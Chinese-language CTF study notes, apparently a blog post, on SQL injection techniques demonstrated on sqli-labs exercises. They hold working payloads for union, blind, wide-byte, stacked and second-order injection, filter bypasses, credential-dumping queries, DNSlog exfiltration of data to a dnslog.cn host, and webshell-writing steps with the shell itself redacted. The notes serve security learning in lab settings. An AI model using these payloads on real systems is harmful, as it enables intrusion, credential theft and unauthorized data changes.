SQL注入

安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 <PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
对应十六进制 PHP payload 已替换为 <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>
文中的危险脚本文件名发布时统一改为 output.txt,避免触发杀软或被误用为可执行脚本。

SQL注入

联合注入

  • 1.寻找注入点: 通过提交测试Payload(如单引号或逻辑语句)观察页面反应,确认参数是否存在SQL注入风险及判断其类型(字符型/数值型)。
  • 2.确定字段数: 使用ORDER BY子句逐次递增列数进行探测,当页面因超出实际列数而报错时,即可确定原始查询的字段数量。
  • 3.探测回显点: 构造UNION SELECT语句并令原查询结果为空,观察页面中显示的数字位置,这些位置即为可用于回显数据的字段。
  • 4.获取当前数据库基本信息: 在回显点位置替换为database()或version()等函数,从而获取当前数据库名称、版本等关键信息。
  • 5.查询表名: 访问information_schema.tables系统表,查询并列出当前数据库中的所有表名,寻找可能存储目标数据的表。
  • 6.查询列名: 针对已识别的目标表,查询information_schema.columns系统表,获取该表包含的所有列名结构。
  • 7.提取最终数据: 直接查询目标表的目标列,将所需数据(如Flag)通过回显点输出到页面,完成整个联合注入攻击流程

报错注入

  • extractvalue (有长度限制,32位)
    select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
  • updatexml (有长度限制,32位)
    select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

盲注

#####布尔盲注

  • SUBSTR() 函数用于截取字符串中的一部分。利用 SUBSTR() 函数,逐步截取数据库中的某个数据:
    SUBSTR(string, start, length) 其中,string 表示要截取的字符串,start 表示截取的起始位置,length 表示截取的长度。SUBSTR() 函数会从字符串的 start 位置开始,截取指定长度的字符

  • MID() 函数也是用于截取字符串的函数。

    MID(string, start, length)

时间盲注
  • IF()

IF() 函数是一种条件判断函数,它用于判断指定条件是否成立,并根据判断结果返回不同的值.

[](https://hello-ctf.com/hc-web/sql_injection/#__codelineno-46-1)IF(condition, true, false)

其中,condition 表示要判断的条件,true 表示条件成立时要返回的值,false 表示条件不成立时要返回的值。如果条件成立,IF() 函数将返回 true,否则将返回 false`

1
SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0)

Sqlite

判断列数
注释符后加空格

1
' ORDER BY 1-- 

系统表 sqlite_master

1
' UNION SELECT 1, sql, 3 FROM sqlite_master--

pasted image 20260326181325
分析
CREATE TABLE flaggggggggggg (id…, flag TEXT…)
知道:表名=flaggggggggggg,字段名=flag

1
' UNION SELECT 1, flag, 3 FROM flaggggggggggg--

pasted image 20260326181602

或者先查询所有表

1
' UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--

接着查结构

1
' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE name='flaggggggggggg'--

最后查看flag

1
' UNION SELECT 1, flag, 3 FROM flaggggggggggg--

注释符

1
'#', '--+', '-- -', '%23', '%00', '/**/'

注释符过滤(–,#) → 利用||'闭合

1
' OR 1 = 1||'

“and、or” 过滤

1
2
可以使用"&&"和"||"代替,
^ 代替 or

关键词过滤

1
2
3
4
5
6
like模糊匹配去绕过
-1'||(username)like'fla_或者是-1'||(username)like'fla%
大小写绕过id=-1' UnIoN SeLeCT xxx
双写绕过适用于将关键词置空的场景id=-1'UNIunionONSeLselectECT1,2,3–-
编码绕过可以使用URL,hex,ASCII等编码绕过例如'or 1=127%20%4F%52%201%3D%31%20%2D%2D
注释绕过内联注释/**/将关键词分隔开id=1' UN/**/ION SE/**/LECT database() --

空格过滤

1
2
3
4
内联注释代替空格id=1_/**/_and_/**/_1=1
括号嵌套select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
制表符、换行、不可见空格%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
反引号union(select`table_name`,`table_type`from`information_schema`.`tables`);

符号”=”过滤

1
2
3
4
5
6
7
8
1. 用in代替=
?id=1 and 1=1 绕过:?id=1 and 1 in (1)
2.like代替'='
3.正则表达式select database() regexp ^1$';

^字符串开头锚点|表示匹配必须从字符串的开头开始|
1字面字符|要匹配的字符是数字1|
$字符串结尾锚点|表示匹配必须到字符串的结尾结束|

逗号过滤

1
2
3
4
5
6
7
逗号被过滤时可以使用from...for...
比如原始:?id=1 and substr(database(),1,1)='s'
绕过:?id=1 and substr(database() from 1 for 1)='s'

limit中的逗号可以替换成offset
select * from users limit 1 offset 2; #代替 limit 1,2
需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

False注入

1
2
select * from users where username = 0;		# 查询表中所有数据
其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

等价函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if()=> case...when..then...else...end
1' or if((ascii(substr((select database()),1,1))>97),1,0)#
等于1' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#


sleep() => benchmark()
`benchmark(count, expr)`:将expr执行count次,返回执行总时间
`benchmark(1000000, sleep(1))`不会延迟 1000000 秒
它会执行 `sleep(1)` 100 万次,但 MySQL 优化后只延迟 1-2 秒
​ benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
benchmark是MySQL内置函数,不需要额外权限


concat_ws() => group_concat() #concat_ws(separator, str1, str2, ...):用指定分隔符连接多个字符串
select group_concat(database());=select concat_ws(1,database());



substr() => substring() / lpad() / rpad() / left() / mid()
`left(string, length)`获取字符串前length个字符
`MySQL中`mid`是`substr`的别名
`lpad(string, n)` 如果 `n` 小于字符串长度,**会返回字符串的前 `n` 个字符
`rpad(string, n)` 如果 `n` 小于字符串长度,**会返回字符串的后 `n` 个字符

group by 代替 order by 绕过

级联

- `CONCAT('a', 'b') => 'ab'`
    - 如果任意一栏为NULL,则返回NULL
- `CONCAT_WS(分隔符, 字串1, 字串2...)`
    - `CONCAT_WS('@', 'gg', 'inin')`=>`gg@inin`

ASCII 功能

  • ascii('A') => 65

字符函数

  • char(65) => 'a'

00截断

PHP版本 < 5.4.3:在PHP 5.3.4及以后版本中,此漏洞已被修复

1
2
'%00' OR 1=1 --
%00被解释为空字符

join无列名注入

join是SQL语句中的连接字符 我们可以通过join将两张表中的列连接在⼀块 就导致有可能会产⽣
相同的表名,但是jion不允许合并的两个表中有相同的列名,因此通过报错得到列名

1
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#

User-Agent 注入

Refer 注入

二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

sqli-labs-24

查看源码pass_change.php
pasted image 20260201143239
发现只有username没有过滤
注册一个账号admin’#        密码123
pasted image 20260201143602
更换密码为1111
pasted image 20260201143717
成功修改

1
UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123456'

pasted image 20260201144340
此时实际更改的是用户admin的密码,现在登录admin密码1111发现登录成功
pasted image 20260201144739

HTTP参数污染

由于tomcat和apache解析参数的顺序不同,当注入两个参数?id=1&id=2,此时tomcat解析的是第一个参数,而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的,由此绕过tomcat的检测。
pasted image 20260201155629

less29

pasted image 20260201155700
闭合方式为’
确定回显
pasted image 20260201155758

1
?id=1&id=0'union select 1,2,(select group_concat(username,':',password) from users)--+

pasted image 20260201155944

less30

闭合方式为”

1
?id=1&id=-2"%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+

pasted image 20260201171257

less31
1
?id=1&id=2"

pasted image 20260201171427
闭合方式为”)

1
?id=1&id=-2")%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+

pasted image 20260201171514

宽字节注入

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。因此我们在此想办法将’前面添加的\除掉

1
%df 吃掉 \。具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
  • %df = 十六进制 0xDF = 十进制 223(>128)
  • %5c = 反斜杠 \ = 十进制 92
  • GBK规则223 + 92 → 合法汉字(具体字不重要)
  • 结果:(92)被223“带走”,单引号(39)无人看管,直接闭合SQL语句
less32

pasted image 20260201161929
查看源码

1
发现将\替换成\\,将'和"分别替换成\'和\"
1
?id=1%df%27

pasted image 20260201162140

1
?id=-1%df%27%20union%20select%201,database(),3%20--+

pasted image 20260201163049

1
2
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆表

pasted image 20260201163148

1
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+

pasted image 20260201164833

less33

使用addslashes()函数过滤
pasted image 20260201165228
闭合方式为’

1
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
less34

pasted image 20260201170326

步骤 用户输入 后端处理(假设用 addslashes + GBK数据库) 数据库(GBK)解析结果
1️ admin汉' URL解码 → 字节流(GBK):
[a,d,m,i,n, 0xBA,0xBA, 0x27]
❌ 未处理
2️ addslashes 转义单引号:
admin汉\'
字节流变为:
[...0xBA,0xBA, 0x5C,0x27]
❌ 未处理
3️ ✅ GBK解析开始:
• 前5字母正常
0xBA,0xBA → 合成汉字”汉”
0xBA(”汉”第二字节) + 0x5C(反斜杠) → 合成新汉字(如”寮”,GBK编码0xBA5C有效!)
0x27(单引号)裸奔释放!
结果 SQL语句被闭合:
... WHERE uname='admin汉[合成汉字]' OR '1'='1'... → 注入成功!
1
passwd=admin&submit=Submit&uname=admin汉' union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)#

pasted image 20260201171157

less36

函数为mysqli_real_escape_string,和addslashes函数功能差不多

步骤 机制 为什么关键
1. 字符集绑定 调用 mysql_real_escape_string() C API 时,自动携带连接对象的 charset 属性 转义逻辑与数据库解析逻辑同源
2. 字节流扫描 逐字节分析输入字符串:
- 若当前字节 ≤ 127 → 单字节字符(ASCII)
- 若当前字节 > 127 → 按连接字符集查表(如 GBK:取当前+下一字节组成汉字)
避免在汉字中间插入反斜杠
3. 智能转义点 仅当确认是“独立需转义字符”时才插入 \
- 单引号 ' (0x27)
- 双引号 " (0x22)
- 反斜杠 \ (0x5C)
- NUL (0x00) 等
转义点精准定位,不破坏多字节结构
4. 字节级输出 返回纯字节序列(非“字符串”),确保与数据库通信时字节流一致 避免 PHP 内部编码二次干扰
1
?id=-1%df%27%20union select 1,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+

pasted image 20260201172254

less37

36的post

堆叠注入

堆叠注入是一种在 同一个注入点中连续执行多条 SQL 语句的攻击方式
原因:分号(;
UNION执行的语句类型是有限的,而堆叠注入可以执行任意语句
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服 务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中**mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()**函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数
和union联合注入的区别:堆叠注入可以实现包括但不限于select的SQL语句,而union联合注入只能使用select语句。
pasted image 20260112194520

1
2
例如
?id=-1';insert into users(id,username,password) values ('1','admin','123')-- +
less38
1
?id=1%27;insert%20into%20users(id,username,password)values(38,%27666%27,%27666%27)--+

再重新访问id=38就可以看到自己设置的账户和密码了pasted image 20260201172956

less40

发现注入点,闭合方式为’),可以用堆叠注入来改密码:

1
?id=1');update users set password='666' where username='Dumb'--+

pasted image 20260201173717
pasted image 20260201173755

DNSlog外带注入

原理
1
原理:当我们输入域名时,会向DNS服务器解析获取IP,再通过IP访问,在这过程中DNS服务器会产生对域名请求解析的日志,比如此时存在一个域名为dnslog.cn.,要使用的payload为`whoami`.dnslog.cn,就可以通过DNS解析日志来获取到主机名
场景 传统盲注痛点 DNSLog解决方案
无回显注入 响应无数据返回,需逐位猜解(极慢) 一次性带出完整数据
WAF拦截 HTTP响应内容被深度检测 DNS查询通常绕过HTTP层检测
网络隔离 目标无法回连攻击者HTTP服务器 DNS协议(UDP 53)通常防火墙放行
时间盲注 依赖响应时间,易受网络波动影响 结果明确可见,无时间依赖
UNC(Universal Naming Convention)

定义

Windows系统用于定位网络资源的标准路径格式:
\\<主机名或IP>\<共享名>\<路径>\<文件名>

特性 说明 安全意义
双反斜杠前缀 \\ 标识网络路径起点 触发Windows网络解析机制
主机名解析 系统自动将<主机名>解析为IP 关键! 触发DNS查询
协议栈 优先NetBIOS → DNS → LLMNR DNS阶段可被攻击者劫持
跨协议支持 SMB(445)、WebDAV等 依赖系统网络服务
利用场景

使用dnslog方法的场景非常苛刻

需要知道以下数据

secure_file_priv=”” ,secure_file_priv必须是空

secure_file_priv为null,load_file则不能加载文件。

secure_file_priv为路径,可以读取路径中的文件;

secure_file_priv为空,可以读取磁盘的目录;

服务器只能在windows下使用,因为需要使用到UNC路径

拥有root权限,因为有root权限后才能使用load_file()这个函数

LOAD_FILE()函数可以加载本地文件系统中的文件,并将其作为字符串返回

**前置

  • 配置MySQL参数
  1. 找到MySQL配置文件

    • 在phpstudy安装目录下找到MySQL的配置文件,通常路径为:

      1
      phpstudy_pro\Extensions\MySQL<版本号>\my.ini
  2. 修改secure_file_priv参数

    • 用记事本打开my.ini

    • 在[mysqld]部分添加或修改以下配置:

      1
      secure_file_priv=""
    • 保存文件

  3. 重启MySQL服务

    • 在phpstudy控制面板中,找到MySQL服务,点击”重启”

load_file

  • 作用MySQL内置函数,设计用于读取服务器上的文件内容
  • 正常用途SELECT LOAD_FILE('/etc/passwd') 读取文件
  • 在此处的巧妙用法
    • 传递一个不存在的UNC路径作为参数
    • 利用Windows处理UNC路径时先解析主机名的特性
    • 即使文件不存在,也会触发DNS查询
  • 权限要求:需要MySQL用户具有FILE权限(通常是root)

hex(user())

  • 分解执行
    • user():MySQL函数,返回当前用户名和主机,如root@localhost
    • hex():将字符串转换为十六进制,如root726f6f74
  • 为什么必须用hex()
    • DNS域名规范:只能包含[a-z0-9-],不支持@.等特殊字符
    • user()返回值包含@符号(如root@localhost),无法直接作为子域名
    • 十六进制编码后仅含0-9和a-f,完全符合DNS规范
less8
1
?id=1' AND load_file(concat('\\\\', hex(user()), '.8f890j.dnslog.cn/abc'))--+

pasted image 20260201185400
十六进制解码
pasted image 20260201185448
爆库名

1
?id=1' and load_file(concat('\\\\',database(),'.8f890j.dnslog.cn/abc'))--+

pasted image 20260201185652

爆表名

**注:**因为使用group_concat()函数拼接时默认使用’ , ‘进行拼接,dnslog无法解析,所以这里有两种方法可以解决

1
2
3
4

1、转为16进制,

2、使用separator "_"  使用下划线连接
1
?id=1'  and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.8f890j.dnslog.cn/abc'))--+

pasted image 20260201185949

爆列名

1
?id=1' AND load_file(concat('\\\\', (SELECT group_concat(column_name separator '_') FROM information_schema.columns WHERE table_schema=database() AND table_name='users'), '.8f890j.dnslog.cn/abc'))--+

pasted image 20260201190341

获取数据

1
?id=1' AND load_file(concat('\\\\', (SELECT concat(username, '_', password) FROM security.users LIMIT 0,1), '.8f890j.dnslog.cn/abc'))--+

pasted image 20260201190616

SQL写马

日志写马

我们所有的数据库的都有一个存放日志的文件,这个文件可以会进行记录数据库的操作语句,也可能不会记录数据库的操作语句,这却决于两个全局变量:

general_log==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。

general_log_file==> 日志的保存路径。

SET GLOBAL general_log='ON'; 打开日志记录
set global general_log_file=’D:\phpstudy_pro\WWW\log.php’; 写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select ‘‘; 查询语句,其实就是写马,让日志文件众留下这样一句查询语句。那么可以使用这个木马

mysql into outfile注射一句话木马

secure_file_priv=””就是可以into outfile写入任意磁盘文件
十六进制编码
pasted image 20260201194233

1
?sort=1;select <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>%20into outfile'X:/phpstudy_pro/WWW/sqli-labs-master/Less-50/output.txt'--+

pasted image 20260201193510

文章目录
  1. 1. SQL注入
    1. 1.1. 联合注入
    2. 1.2. 报错注入
    3. 1.3. 盲注
      1. 1.3.1. 时间盲注
    4. 1.4. Sqlite
    5. 1.5. 注释符
    6. 1.6. 注释符过滤(–,#) → 利用||'闭合
    7. 1.7. “and、or” 过滤
    8. 1.8. 关键词过滤
    9. 1.9. 空格过滤
    10. 1.10. 符号”=”过滤
    11. 1.11. 逗号过滤
    12. 1.12. False注入
    13. 1.13. 等价函数
    14. 1.14. group by 代替 order by 绕过
    15. 1.15. 级联
    16. 1.16. ASCII 功能
    17. 1.17. 字符函数
    18. 1.18. 00截断
    19. 1.19. join无列名注入
    20. 1.20. Cookie 注入
    21. 1.21. User-Agent 注入
    22. 1.22. Refer 注入
    23. 1.23. 二次注入
      1. 1.23.1. sqli-labs-24
    24. 1.24. HTTP参数污染
      1. 1.24.1. less29
      2. 1.24.2. less30
      3. 1.24.3. less31
    25. 1.25. 宽字节注入
      1. 1.25.1. less32
      2. 1.25.2. less33
      3. 1.25.3. less34
      4. 1.25.4. less36
      5. 1.25.5. less37
    26. 1.26. 堆叠注入
      1. 1.26.1. less38
      2. 1.26.2. less40
    27. 1.27. DNSlog外带注入
      1. 1.27.1. 原理
      2. 1.27.2. UNC(Universal Naming Convention)
      3. 1.27.3. 利用场景
      4. 1.27.4. less8
    28. 1.28. SQL写马
      1. 1.28.1. 日志写马
      2. 1.28.2. mysql into outfile注射一句话木马
|